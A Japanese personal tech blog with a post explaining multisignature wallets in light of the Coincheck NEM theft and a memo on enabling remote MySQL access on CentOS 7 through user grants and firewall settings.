Coincheck 580億円相当のNEMを流失


どうやら内部のシステムのセキュリティが万全ではなかった様子... 歴史に残る重大インシデントですね(-_-) 現時点で発表されている情報は少ない上に信憑性も確かではないので敢えて色々言いませんが、起きてしまった事象だけは備忘録として記録しておこうかな、と思ったわけです(>A<) まぁ、僕は今回のインシデントで不利益は被っていないのでCoincheckがどのようなセキュリティを行なっていたか冷静に調べられたわけですが...


マルチシグ ( Multisig ) 未対応だった!!


今回の流失を招いた原因として挙げられているのがNEMNEM公式が推奨している(らしい?)マルチシグと呼ばれる署名方法を採用していなかったことが挙げられている。 まぁ、コールドウォレットならマルチシグは当然でしょ...(-∆-)と思っていた皆さんはいろいろ物申したいことが多いはず... でもその前に自分がちゃんとマルチシグという方法をきちんと理解していないな、と感じたので備忘録へ!!


マルチシグとは? 


簡単に言うと、鍵を複数人で持つことによってセキュリティを高めるというやり方。例えば、鍵が5つある金庫に3つの鍵がささらないと中のお金を取り出す事ができない!というイメージでいいと思ってる!その中の1つの鍵が盗まれたとしても、残り二つの鍵を刺さない限りはその金庫が開くことはないので中のお金が盗られることはないという風にセキュリティを高める事ができる。 BTCなどでもう少し具体化して考えると、ある取引所のウォレットAからある取引所の自分のウォレットBに何かしらのコインを送金したい場合、自分のウォレットAの鍵だけでは送金はできない。そのAの取引所の運営側が持つ鍵とさらに別の鍵もささないと自分のウォレットAの扉は開くことはない、という感じ。なので、自分のウォレットAの鍵が万一、盗まれたとしてもハッカーは取引所がもつもう複数の鍵も盗んでウォレットAの扉を開かなければ、ハッカーのウォレットCには送金できない!というわけ!


もう少し詳しく!


正直、技術概要には興味がない("_")という方は上までで理解できたら十分だと思うので、あとは画面すワイプでもして戻ってください...


マルチシグは鍵を持つ全員の署名を必ずしも必要としません。上記の例の通り、5人鍵を持っていた場合でも3人の署名、つまり鍵がさされた場合は扉を開けますよ!ということでもいいということ。 基本的にマルチシグの最小構成は4つのアカウントが必要でそれぞれが鍵を秘密鍵を持っているということ。


それらのアカウントを仮にA,B,C,DとしてBがDのある商品をコインで購入する場合を考えてみましょう!(この場合の取引とは基本的にコインでコインを買うと言う事ですがわかりにくいので今回は商品とします) まずBとDが取引をするにあたって間に中間者であるCが仲介します。AとはマルチシグアドレスというアカウントでBCDが一つだけ作成する「金庫用のアカウント」で2つの鍵が同時にささっていないと扉は開かない施錠機能をもっています。一つの「金庫」として考えていいので以下からは「金庫A」とします。

金庫Aは作成された際は空っぽです。そこにBがコインを入れ金庫Aの鍵をしめます。今後、金庫Aは2つの鍵が同時にささっていないと開くことはありません。このコインを入れる際に金庫AのアドレスにBがコインを送金した、というログはブロックチェーン上に記録され誰でも見る事ができます。Dはブロックチェーンを確認してBからの送金を確認できた場合は金庫Aから自分のアドレスに送金するトランザクション、つまり金庫Aから自分への送金の手配をするため金庫Aに鍵をさしますが、それだけでは金庫Aは開きません。その後、Dは商品をBのもとに送ります。そしてBがDから送られてきた商品の銘柄や数量などの情報が正しいと判断すると、Dの鍵がささったままの金庫AにB自身が持つ鍵をさしてあげることで無事、Dがコインを手にして、取引は終了ということになります!


この取引の際に例えばDが商品を送らなかったとすると、Bは当然金庫Aの中にあるコインを返してもらわないといけません。ですが、鍵は同時に2つさしてないと扉は開かないので、この時は中間者であるCが鍵をさしてあげてBも自分の鍵をさし、無事にお金を取り戻すことができます。

そもそもBが金庫Aに送金しないとDは商品を送らないのでBが悪さをすることもできないです。だがしかし、このやり方をもってしても悪いことをできる存在がいますね。中間者Cです。Cは金庫Aを開けてコインを横取りできる唯一の存在ですよね。2011年のマウントゴックス事件の中間者であるマウントゴックスが悪さをしたとされています。なので中間者は悪さができないように誠実な中間者を複数置くといいでしょう。C,E,F,Gのように中間者4人とかだと悪さはしにくくなりますね!


こういったマルチシグな取引方法で取引している仮想通貨は多いのではないでしょうか?


Summary

さて、ここまで書いてきましたが、マルチシグそのものの技術は理解できたものの今回のCoincheckの流失事件の全容はまだ把握できていないままです。マルチシグを採用していなかったのが原因で盗まれたのか、マルチシグで防げたのか、そもそもマルチシグとか以前の問題だったのか、真相は未だ判明していません。真相がわかり次第、インシデントレポートを公開して欲しいですね!どのように盗まれたのかのアルゴリズムがはよ知りたい!知りたいけど私はこの辺でまた狩人に戻りますので今回はここまで。 今後、時間があればちゃんとイラストなんかで説明したいな...


GOOD PAGE


マルチシグとは?セキュリティが超向上する裏技!使い方・メリットを教えます!

Multisig(マルチシグ)って何?

NEM(ネム)マルチシグ設定方法と落とし穴|xemを安全に保管する

Mysqlにリモートから外部アクセスした件

環境

・Cent OS 7 ・Mysql Ver 14.14 Distrib 5.7.20

外部アクセス

Mysqlにリモートからアクセスする必要があって、設定してくとたくさんエラーでてきたわーいww

エラー

まずリモートからアクセスするために/etc/my.cnfにbind-address=remote-IPしてやればいいんだろ?とmy.cnfにIPを追加

my.cnfをさわる


# For advice on how to change settings please see
# http://dev.mysql.com/doc/refman/5.7/en/server-configuration-defaults.html

[mysqld]
#
# Remove leading # and set to the amount of RAM for the most important data
# cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%.
# innodb_buffer_pool_size = 128M
#
# Remove leading # to turn on a very important data integrity option: logging
# changes to the binary log between backups.
# log_bin
#
# Remove leading # to set options mainly useful for reporting servers.
# The server defaults are faster for transactions and fast SELECTs.
# Adjust sizes as needed, experiment to find the optimal values.
# join_buffer_size = 128M
# sort_buffer_size = 2M
# read_rnd_buffer_size = 2M
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock

# Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0

log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

bind-address = IP

再起動!


$ sudo systemctl status mysqld
● mysqld.service - MySQL Server
Loaded: loaded (/usr/lib/systemd/system/mysqld.service; enabled; vendor preset: disabled)
Active: deactivating (final-sigterm) (Result: exit-code) since 木 2017-11-09 12:41:13 JST; 1min 57s ago
Docs: man:mysqld(8)
http://dev.mysql.com/doc/refman/en/using-systemd.html
Process: 19349 ExecStart=/usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid $MYSQLD_OPTS (code=exited, status=1/FAILURE)
Process: 19332 ExecStartPre=/usr/bin/mysqld_pre_systemd (code=exited, status=0/SUCCESS)
Main PID: 16770 (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
└─19353 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid

久しぶり!またあったね!FaOk!!

原因がわかんない

/var/log/mysql見てもエラーは出てるんだけどおそらくそう言うエラーじゃないだろうと判断 my.cnfからbindの行をコメントしたらsystemctlで普通に起動するんだよ んで、調べて行くとmysqlの設定じゃねえのか?となる ということでさっきのbindの行は削除

mysql側の設定

とりあえずrootでログイン そして外部からアクセスする用のユーザを作成して権限を与える


mysql> grant all privileges on DBNAME.* to avalon@"10.0.0.0" identified by '*******' with grant option;
Query OK, 0 rows affected, 1 warning (0.00 sec)

権限の与え方とかはgrant文で

そして確認してみる


mysql> select user,host from mysql.user;
+---------------+-----------+
| user | host |
+---------------+-----------+
| avalon | 10.0.0.0 |
| avalon | localhost |
| mysql.session | localhost |
| mysql.sys | localhost |
| root | localhost |
+---------------+-----------+

おるやん そして一度mysqldを再起動してアクセスを試みる


ERROR 2003 (HY000): Can't connect to MySQL server on '10.0.2.0' (113)

バーローがぁぁぁ!!

最終的な解決

なんでだチキショー!! って思っていたら ん?待てよ...俺firewall設定したか?初歩の初歩だぞ...


$ firewall-cmd --list-all

なかった...サービスのとこにmysqlが...バカだ俺は...


$ firewall-cmd --add-service=mysql --zone=public --premanent
$ firewall-cmd --reload

アクセスを試みる

いけた!! firewallの設定で詰まるとか...ナンセンスかよ

Mysqlへ外部アクセスする際の手順

  1. mysql側で外部アクセス用のユーザを作成して権限を付与する
  2. firewallの設定をする
  3. 3306のポートが開いていて、プロセスがいるか確かめる

たった3ステップ!!!!それに詰まった俺...

yodan

更新がものすごく遅くなってたんだけど、それにはちゃんと理由がある!
最近、Markdown式のメモサーバを自宅に立てて備忘録は基本そっちでやってた!   だって、htmlで書くよりMarkdownの方が早いじゃんね( =A= )
だけど、はてなMarkdownできるんかい!!ってことでこれからどんどん移植すると思う!